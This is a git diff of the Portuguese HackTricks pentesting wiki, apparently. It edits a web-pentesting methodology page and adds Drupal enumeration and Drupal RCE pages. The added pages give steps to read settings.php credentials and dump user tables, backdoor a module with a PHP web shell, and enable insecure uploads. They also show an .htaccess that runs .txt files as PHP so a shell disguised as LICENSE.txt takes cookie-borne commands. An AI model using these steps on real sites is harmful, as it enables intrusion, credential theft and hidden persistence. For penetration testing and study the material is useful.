+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ou** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d
wpscan --force update -e --url
@@ -187,11 +187,11 @@ Os servidores web podem **comportar-se de forma inesperada** quando dados estran
* Acesse **páginas falsas** como /qualquer\_falso.php (.aspx,.html,.etc)
* Adicione "\[]", "]]" e "\[\[" nos valores de **cookie** e nos valores de **parâmetro** para criar erros
* Gere erro fornecendo entrada como **`/~coisarandom/%s`** no **final** da **URL**
-* Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou incorretos como FAKE
+* Experimente **diferentes Verbos HTTP** como PATCH, DEBUG ou incorretos como FAKE
#### **Verifique se é possível fazer upload de arquivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)**
-Se você descobrir que o **WebDav** está **habilitado** mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
+Se você descobrir que o **WebDav** está **habilitado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
* **Força Bruta** de credenciais
* **Faça upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página da web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
@@ -201,7 +201,7 @@ Se você descobrir que o **WebDav** está **habilitado** mas não tem permissõe
* Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
* Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta.
-Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reavaliar as vulnerabilidades:
+Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reavaliar as vulnerabilidades:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -210,6 +210,11 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vu
sslscan
sslyze --regular
```
+Informações sobre vulnerabilidades do SSL/TLS:
+
+* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
+* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
+
### Spidering
Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o máximo de caminhos possível** na aplicação testada. Portanto, a rastreabilidade da web e fontes externas devem ser usadas para encontrar o máximo de caminhos válidos possível.
@@ -217,31 +222,31 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HTML, com LinkFinder para arquivos JS e Archive.org como fonte externa.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, também indica "arquivos suculentos".
-* [**evine**](https://github.com/saeeddhqan/evine) (go): Spider HTML interativo com CLI. Também pesquisa no Archive.org.
+* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo com CLI. Também pesquisa no Archive.org.
* [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode indicar um arquivo com hosts e um arquivo com caminhos e o meg buscará cada caminho em cada host e salvará a resposta.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML com capacidades de renderização JS. No entanto, parece estar desatualizado, a versão pré-compilada é antiga e o código atual não compila.
* [**gau**](https://github.com/lc/gau) (go): Spider HTML que usa provedores externos (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e as listará.
* [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também vale a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
-* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes vermelhas e ninjas de segurança da informação.
+* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes de red team, ninjas de segurança da informação.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente solicitações AJAX. Parece estar desatualizado.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando uma expressão regular engenhosa para encontrar e extrair os URLs relativos de arquivos feios (minify).
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Reúna informações interessantes de arquivos JS usando várias ferramentas.
* [**subjs**](https://github.com/lc/subjs) (go): Encontre arquivos JS.
-* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todas as URLs carregadas para carregar a página.
-* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo que mistura várias opções das ferramentas anteriores.
+* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todos os URLs carregados para carregar a página.
+* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo que combina várias opções das ferramentas anteriores.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão do Burp para encontrar caminhos e parâmetros em arquivos JS.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o URL .js.map, fornecerá o código JS beatificado.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um determinado alvo.
-* [**waymore**](https://github.com/xnl-h4ck3r/waymore): Descubra links da máquina wayback (também baixando as respostas na wayback e procurando mais links).
+* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubra links do wayback machine (também baixando as respostas no wayback e procurando mais links).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastreie (mesmo preenchendo formulários) e também encontre informações sensíveis usando regex específicas.
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança na web com GUI multi-recursos projetado para profissionais de segurança cibernética.
-* [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript.
-* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples extensão do **Burp Suite** para **extrair os parâmetros e endpoints** da solicitação para criar uma lista de palavras personalizada para fuzzing e enumeração.
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web GUI multi-feature projetado para profissionais de segurança cibernética.
+* [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript.
+* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da solicitação para criar uma lista de palavras personalizada para fuzzing e enumeração.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso.
-### Brute Force de diretórios e arquivos
+### Força Bruta em diretórios e arquivos
Inicie a **força bruta** a partir da pasta raiz e certifique-se de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta de forma **recursiva** e acrescentar no início da lista de palavras usada os nomes dos diretórios encontrados).\
Ferramentas:
@@ -252,15 +257,15 @@ Ferramentas:
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, suporta pesquisa recursiva.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-* [**uro**](https://github.com/s0md3v/uro) (python): Isso não é um spider, mas uma ferramenta que, dada a lista de URLs encontradas, irá excluir URLs "duplicadas".
+* [**uro**](https://github.com/s0md3v/uro) (python): Isso não é um spider, mas uma ferramenta que, dada a lista de URLs encontrados, irá excluir URLs "duplicados".
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Extensão do Burp para criar uma lista de diretórios do histórico do burp de diferentes páginas.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remova URLs com funcionalidades duplicadas (com base em importações de js).
-* [**Chamaleon**](https://github.com/iustin24/chameleon): Ele usa o wapalyzer para detectar tecnologias usadas e selecionar as listas de palavras a serem usadas.
+* [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar as listas de palavras a serem usadas.
**Dicionários recomendados:**
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
-* Dicionário incluído no **Dirsearch**.
+* Dicionário incluído no **Dirsearch**
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Listas de palavras da Assetnote](https://wordlists.assetnote.io)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@@ -282,7 +287,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
* [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem ser propensos a tomadas de controle
* **Backups de arquivos**: Depois de encontrar todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-* **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, tente procurar** parâmetros ocultos em cada arquivo web executável.
+* **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, você pode tentar procurar** parâmetros ocultos em cada arquivo web executável.
* _Todos os wordlists padrão do Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@@ -302,8 +307,8 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
* Procure por **links** para outros arquivos dentro dos arquivos **CSS**.
* [Se encontrar um arquivo _**.git**_, algumas informações podem ser extraídas](git.md)
* Se encontrar um arquivo _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
-* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
-* **Arquivos JS**: Na seção de spidering, várias ferramentas que podem extrair caminhos de arquivos JS foram mencionadas. Também seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar que uma vulnerabilidade potencial foi introduzida no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
+* Se encontrar **pontos de extremidade de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "se parecerão" com eles.
+* **Arquivos JS**: Na seção de spidering, foram mencionadas várias ferramentas que podem extrair caminhos de arquivos JS. Também seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar a introdução de uma vulnerabilidade potencial no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
* Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para verificar se são vulneráveis.
* **Desofuscador e descompactador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Embelezador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
@@ -325,15 +330,15 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox
**Autenticação NTLM - Divulgação de informações**
Se o servidor em execução que solicita autenticação for **Windows** ou se você encontrar um login solicitando suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
-**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **autenticação NTLM funciona**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
-Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
+**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
+Você pode **automatizar** isso usando o plugin **nmap** "_http-ntlm-info.nse_".
**Redirecionamento HTTP (CTF)**
-É possível **inserir conteúdo** dentro de um **Redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo poderia estar **oculto** lá.
+É possível **inserir conteúdo** dentro de um **redirecionamento**. Esse conteúdo **não será mostrado ao usuário** (pois o navegador executará o redirecionamento), mas algo poderia estar **oculto** lá.
### Verificação de Vulnerabilidades Web
-Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
+Agora que foi realizada uma enumeração abrangente da aplicação web, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@@ -349,9 +354,9 @@ Encontre mais informações sobre vulnerabilidades web em:
Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.
-
+
-Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/network-services-pentesting/pentesting-web/drupal/README.md b/network-services-pentesting/pentesting-web/drupal/README.md
new file mode 100644
index 000000000..9ad3da684
--- /dev/null
+++ b/network-services-pentesting/pentesting-web/drupal/README.md
@@ -0,0 +1,134 @@
+# Drupal
+
+
+
+Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+
+Outras maneiras de apoiar o HackTricks:
+
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+
+
+
+
+
+{% embed url="https://websec.nl/" %}
+
+## Descoberta
+
+* Verifique **meta**
+```bash
+curl https://www.drupal.org/ | grep 'content="Drupal'
+```
+* **Nó**: O Drupal **indexa seu conteúdo usando nós**. Um nó pode **conter qualquer coisa** como uma postagem de blog, enquete, artigo, etc. Os URIs das páginas geralmente têm a forma `/node/`.
+```bash
+curl drupal-site.com/node/1
+```
+## Enumeração
+
+O Drupal suporta **três tipos de usuários** por padrão:
+
+1. **`Administrador`**: Este usuário tem controle total sobre o site do Drupal.
+2. **`Usuário Autenticado`**: Esses usuários podem fazer login no site e realizar operações como adicionar e editar artigos com base em suas permissões.
+3. **`Anônimo`**: Todos os visitantes do site são designados como anônimos. Por padrão, esses usuários só podem ler postagens.
+
+### Versão
+
+* Verifique `/CHANGELOG.txt`
+```bash
+curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
+
+Drupal 7.57, 2018-02-21
+```
+{% hint style="info" %}
+As novas instalações do Drupal por padrão bloqueiam o acesso aos arquivos `CHANGELOG.txt` e `README.txt`.
+{% endhint %}
+
+### Enumeração de nomes de usuário
+
+#### Registro
+
+Em _/user/register_ basta tentar criar um nome de usuário e se o nome já estiver em uso, você será notificado:
+
+![](<../../../.gitbook/assets/image (328).png>)
+
+#### Solicitar nova senha
+
+Se você solicitar uma nova senha para um nome de usuário existente:
+
+![](<../../../.gitbook/assets/image (903).png>)
+
+Se você solicitar uma nova senha para um nome de usuário inexistente:
+
+![](<../../../.gitbook/assets/image (307).png>)
+
+### Obter número de usuários
+
+Acessando _/user/\_ você pode ver o número de usuários existentes, neste caso são 2, pois _/users/3_ retorna um erro de não encontrado:
+
+![](<../../../.gitbook/assets/image (333).png>)
+
+![](<../../../.gitbook/assets/image (227) (1) (1) (1).png>)
+
+### Páginas ocultas
+
+**Fuzz `/node/$` onde `$` é um número** (de 1 a 500, por exemplo).\
+Você pode encontrar **páginas ocultas** (teste, desenvolvimento) que não são referenciadas pelos mecanismos de busca.
+
+#### Informações sobre módulos instalados
+```bash
+#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
+#Get info on installed modules
+curl https://example.com/config/sync/core.extension.yml
+curl https://example.com/core/core.services.yml
+
+# Download content from files exposed in the previous step
+curl https://example.com/config/sync/swiftmailer.transport.yml
+```
+### Automático
+```bash
+droopescan scan drupal -u http://drupal-site.local
+```
+## RCE
+
+Se você tem acesso ao console web do Drupal, verifique estas opções para obter RCE:
+
+{% content-ref url="drupal-rce.md" %}
+[drupal-rce.md](drupal-rce.md)
+{% endcontent-ref %}
+
+## Pós Exploração
+
+### Ler settings.php
+```
+find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
+```
+### Extrair usuários do BD
+```
+mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
+```
+## Referências
+
+* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
+
+
+
+{% embed url="https://websec.nl/" %}
+
+
+
+Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+
+Outras maneiras de apoiar o HackTricks:
+
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+
diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
new file mode 100644
index 000000000..628ea32f5
--- /dev/null
+++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
@@ -0,0 +1,269 @@
+# Drupal RCE
+
+
+
+Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+
+Outras formas de apoiar o HackTricks:
+
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+
+
+
+## Com o Módulo PHP Filter
+
+{% hint style="warning" %}
+Nas versões mais antigas do Drupal **(antes da versão 8)**, era possível fazer login como administrador e **ativar o módulo `PHP filter`**, que "Permite que trechos de código/snippets PHP embutidos sejam avaliados." Mas a partir da versão 8, este módulo não está instalado por padrão.
+{% endhint %}
+
+Você precisa que o **plugin php esteja instalado** (verifique acessando _/modules/php_ e se retornar um **403** então, **existe**, se **não encontrado**, então o **plugin php não está instalado**)
+
+Vá para _Módulos_ -> (**Marque**) _PHP Filter_ -> _Salvar configuração_
+
+![](<../../../.gitbook/assets/image (247) (1).png>)
+
+Em seguida, clique em _Adicionar conteúdo_ -> Selecione _Página Básica_ ou _Artigo_ -> Escreva _código shell php no corpo_ -> Selecione _Código PHP_ em _Formato de texto_ -> Selecione _Visualizar_
+
+![](<../../../.gitbook/assets/image (338).png>)
+
+Finalmente, acesse o nó recém-criado:
+```bash
+curl http://drupal-site.local/node/3
+```
+## Instalar o Módulo Filtro PHP
+
+{% hint style="warning" %}
+Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão.
+{% endhint %}
+
+A partir da versão **8 em diante**, o [**módulo PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **não é mais instalado por padrão**. Para aproveitar essa funcionalidade, teríamos que **instalar o módulo por conta própria**.
+
+1. Baixe a versão mais recente do módulo no site do Drupal.
+1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
+2. Após o download, vá para **`Administração`** > **`Relatórios`** > **`Atualizações disponíveis`**.
+3. Clique em **`Procurar`**, selecione o arquivo no diretório em que o baixamos e clique em **`Instalar`**.
+4. Depois que o módulo estiver instalado, podemos clicar em **`Conteúdo`** e **criar uma nova página básica**, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de **selecionar `Código PHP` no menu suspenso `Formato de texto`**.
+
+## Módulo com Backdoor
+
+{% hint style="warning" %}
+Nas versões atuais, não é mais possível instalar plugins tendo apenas acesso à web após a instalação padrão.
+{% endhint %}
+
+Um módulo com backdoor pode ser criado **adicionando um shell a um módulo existente**. Os módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como o [CAPTCHA](https://www.drupal.org/project/captcha). Role para baixo e copie o link para o arquivo tar.gz [arquivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
+
+* Baixe o arquivo e extraia seu conteúdo.
+```
+wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
+tar xvf captcha-8.x-1.2.tar.gz
+```
+* Criar um **shell web PHP** com o conteúdo:
+```php
+
+```
+* Em seguida, precisamos criar um arquivo **`.htaccess`** para nos dar acesso à pasta. Isso é necessário, pois o Drupal nega acesso direto à pasta **`/modules`**.
+```html
+
+RewriteEngine On
+RewriteBase /
+
+```
+* A configuração acima aplicará regras para a pasta / quando solicitarmos um arquivo em /modules. Copie ambos esses arquivos para a pasta captcha e crie um arquivo compactado.
+```bash
+mv shell.php .htaccess captcha
+tar cvf captcha.tar.gz captcha/
+```
+* Assumindo que temos **acesso administrativo** ao site, clique em **`Gerenciar`** e depois em **`Estender`** na barra lateral. Em seguida, clique no botão **`+ Instalar novo módulo`**, e seremos levados para a página de instalação, como `http://drupal-site.local/admin/modules/install`. Navegue até o arquivo backdoored Captcha e clique em **`Instalar`**.
+* Após a instalação bem-sucedida, navegue para **`/modules/captcha/shell.php`** para executar comandos.
+
+## Backdooring Drupal com Sincronização de Configuração
+
+**Post compartilhado por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
+
+### Parte 1 (ativação de _Mídia_ e _Biblioteca de Mídia_)
+
+No menu _Estender_ (/admin/modules), você pode ativar o que parecem ser plugins já instalados. Por padrão, os plugins _Mídia_ e _Biblioteca de Mídia_ não parecem estar ativados, então vamos ativá-los.
+
+Antes da ativação:
+
+
+
+Após a ativação:
+
+
+
+
+
+### Parte 2 (alavancando o recurso _Sincronização de Configuração_)
+
+Vamos aproveitar o recurso _Sincronização de Configuração_ para despejar (exportar) e carregar (importar) entradas de configuração do Drupal:
+
+* /admin/config/development/configuration/single/export
+* /admin/config/development/configuration/single/import
+
+**Patching system.file.yml**
+
+Vamos começar aplicando o patch na primeira entrada `allow_insecure_uploads` de:
+
+Arquivo: system.file.yml
+```
+
+...
+
+allow_insecure_uploads: false
+
+...
+
+```
+
+
+Para:
+
+Arquivo: system.file.yml
+```
+
+...
+
+allow_insecure_uploads: true
+
+...
+
+```
+
+
+**Patch campo field.field.media.document.field\_media\_document.yml**
+
+Em seguida, corrija a segunda entrada `file_extensions` de:
+
+Arquivo: field.field.media.document.field\_media\_document.yml
+```
+
+...
+
+file_directory: '[date:custom:Y]-[date:custom:m]'
+file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
+
+...
+```
+
+
+Para:
+
+Arquivo: field.field.media.document.field\_media\_document.yml
+```
+...
+
+file_directory: '[date:custom:Y]-[date:custom:m]'
+file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
+
+...
+
+```
+> Não o utilizo neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de forma arbitrária e que ela é vulnerável a um ataque de travessia de caminho (assim podemos voltar dentro da árvore do sistema de arquivos do Drupal).
+
+
+
+### Parte 3 (alavancando o recurso _Adicionar Documento_)
+
+O último passo é o mais simples e é dividido em dois subpassos. O primeiro é fazer o upload de um arquivo no formato .htaccess para alavancar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. O segundo é fazer o upload de um arquivo .txt contendo nosso payload.
+
+Arquivo: .htaccess
+```
+
+SetHandler application/x-httpd-php
+
+
+# Vroum! Vroum!
+# We reactivate PHP engines for all versions in order to be targetless.
+
+php_flag engine on
+
+
+php_flag engine on
+
+
+php_flag engine on
+
+```
+Por que esse truque é legal?
+
+Porque uma vez que o Webshell (que chamaremos de LICENSE.txt) é colocado no servidor Web, podemos transmitir nossos comandos via `$_COOKIE` e nos logs do servidor Web, isso aparecerá como uma solicitação GET legítima para um arquivo de texto.
+
+Por que nomear nosso Webshell de LICENSE.txt?
+
